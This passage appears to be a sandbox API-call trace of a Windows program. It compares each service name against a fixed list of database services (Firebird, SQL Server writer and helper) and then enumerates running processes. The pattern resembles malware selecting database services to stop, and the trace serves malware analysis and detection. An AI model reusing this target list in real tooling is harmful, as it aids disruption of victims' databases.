	[0162.305] lstrlenW (lpString="NcbService") returned 10
	[0162.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0162.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0162.305] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0162.305] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0162.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0162.305] lstrlenW (lpString="netprofm") returned 8
	[0162.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0162.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0162.305] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0162.305] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0162.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0162.305] lstrlenW (lpString="NgcSvc") returned 6
	[0162.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0162.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0162.305] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0162.305] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0162.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0162.305] lstrlenW (lpString="NlaSvc") returned 6
	[0162.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0162.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0162.305] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0162.305] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0162.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0162.305] lstrlenW (lpString="nsi") returned 3
	[0162.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0162.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0162.306] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0162.306] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0162.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0162.306] lstrlenW (lpString="PcaSvc") returned 6
	[0162.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0162.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0162.306] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0162.306] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0162.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0162.306] lstrlenW (lpString="PlugPlay") returned 8
	[0162.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0162.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0162.306] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0162.306] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0162.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0162.306] lstrlenW (lpString="Power") returned 5
	[0162.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0162.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0162.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0162.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0162.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0162.444] lstrlenW (lpString="ProfSvc") returned 7
	[0162.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0162.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0162.444] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0162.444] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0162.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0162.444] lstrlenW (lpString="RpcEptMapper") returned 12
	[0162.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0162.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0162.444] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0162.444] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0162.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0162.444] lstrlenW (lpString="RpcSs") returned 5
	[0162.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0162.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0162.444] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0162.444] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0162.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0162.444] lstrlenW (lpString="SamSs") returned 5
	[0162.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0162.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0162.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0162.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0162.445] lstrlenW (lpString="Schedule") returned 8
	[0162.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0162.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0162.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0162.445] lstrlenW (lpString="SecurityHealthService") returned 21
	[0162.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0162.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0162.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0162.445] lstrlenW (lpString="SENS") returned 4
	[0162.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0162.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0162.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0162.445] lstrlenW (lpString="ShellHWDetection") returned 16
	[0162.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0162.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0162.445] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0162.445] lstrlenW (lpString="Spooler") returned 7
	[0162.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0162.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0162.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0162.445] lstrlenW (lpString="StateRepository") returned 15
	[0162.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0162.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0162.445] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0162.445] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0162.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0162.446] lstrlenW (lpString="SysMain") returned 7
	[0162.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0162.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0162.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0162.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0162.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0162.446] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0162.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0162.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0162.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0162.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0162.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0162.446] lstrlenW (lpString="Themes") returned 6
	[0162.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0162.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0162.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0162.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0162.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0162.446] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0162.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0162.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0162.446] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0162.446] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0162.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0162.446] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0162.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0162.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0162.446] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0162.446] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0162.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e5cb0 | out: hHeap=0x5a0000) returned 1
	[0162.447] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x504
	[0162.452] Process32FirstW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0162.452] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0162.452] lstrlenW (lpString="System") returned 6
	[0162.453] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0162.453] lstrlenW (lpString="smss.exe") returned 8
	[0162.453] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0162.453] lstrlenW (lpString="csrss.exe") returned 9
	[0162.454] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0162.454] lstrlenW (lpString="wininit.exe") returned 11
	[0162.454] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0162.454] lstrlenW (lpString="csrss.exe") returned 9
	[0162.454] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0162.455] lstrlenW (lpString="winlogon.exe") returned 12
	[0162.455] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0162.455] lstrlenW (lpString="services.exe") returned 12
	[0162.455] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0162.456] lstrlenW (lpString="lsass.exe") returned 9
	[0162.456] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0162.456] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0162.456] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0162.457] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0162.457] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.457] lstrlenW (lpString="svchost.exe") returned 11
	[0162.457] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.458] lstrlenW (lpString="svchost.exe") returned 11
	[0162.458] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0162.458] lstrlenW (lpString="dwm.exe") returned 7
	[0162.458] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.459] lstrlenW (lpString="svchost.exe") returned 11
	[0162.459] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.459] lstrlenW (lpString="svchost.exe") returned 11
	[0162.459] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.460] lstrlenW (lpString="svchost.exe") returned 11
	[0162.460] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.460] lstrlenW (lpString="svchost.exe") returned 11
	[0162.460] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.461] lstrlenW (lpString="svchost.exe") returned 11
	[0162.461] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.461] lstrlenW (lpString="svchost.exe") returned 11
	[0162.461] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.461] lstrlenW (lpString="svchost.exe") returned 11
	[0162.462] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.462] lstrlenW (lpString="svchost.exe") returned 11
	[0162.462] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.466] lstrlenW (lpString="svchost.exe") returned 11
	[0162.466] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.466] lstrlenW (lpString="svchost.exe") returned 11
	[0162.466] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0162.467] lstrlenW (lpString="spoolsv.exe") returned 11
	[0162.467] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.467] lstrlenW (lpString="svchost.exe") returned 11
	[0162.467] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0162.468] lstrlenW (lpString="audiodg.exe") returned 11
	[0162.468] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0162.468] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0162.468] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0162.469] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0162.469] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0162.469] lstrlenW (lpString="Memory Compression") returned 18
	[0162.469] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0162.470] lstrlenW (lpString="sihost.exe") returned 10
	[0162.470] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.470] lstrlenW (lpString="svchost.exe") returned 11
	[0162.470] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0162.471] lstrlenW (lpString="taskhostw.exe") returned 13
	[0162.471] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0162.471] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0162.471] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0162.471] lstrlenW (lpString="taskhostw.exe") returned 13
	[0162.471] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0162.472] lstrlenW (lpString="explorer.exe") returned 12
	[0162.472] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0162.472] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0162.472] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0162.473] lstrlenW (lpString="SearchUI.exe") returned 12
	[0162.473] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0162.473] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0162.473] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0162.474] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0162.474] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.474] lstrlenW (lpString="svchost.exe") returned 11
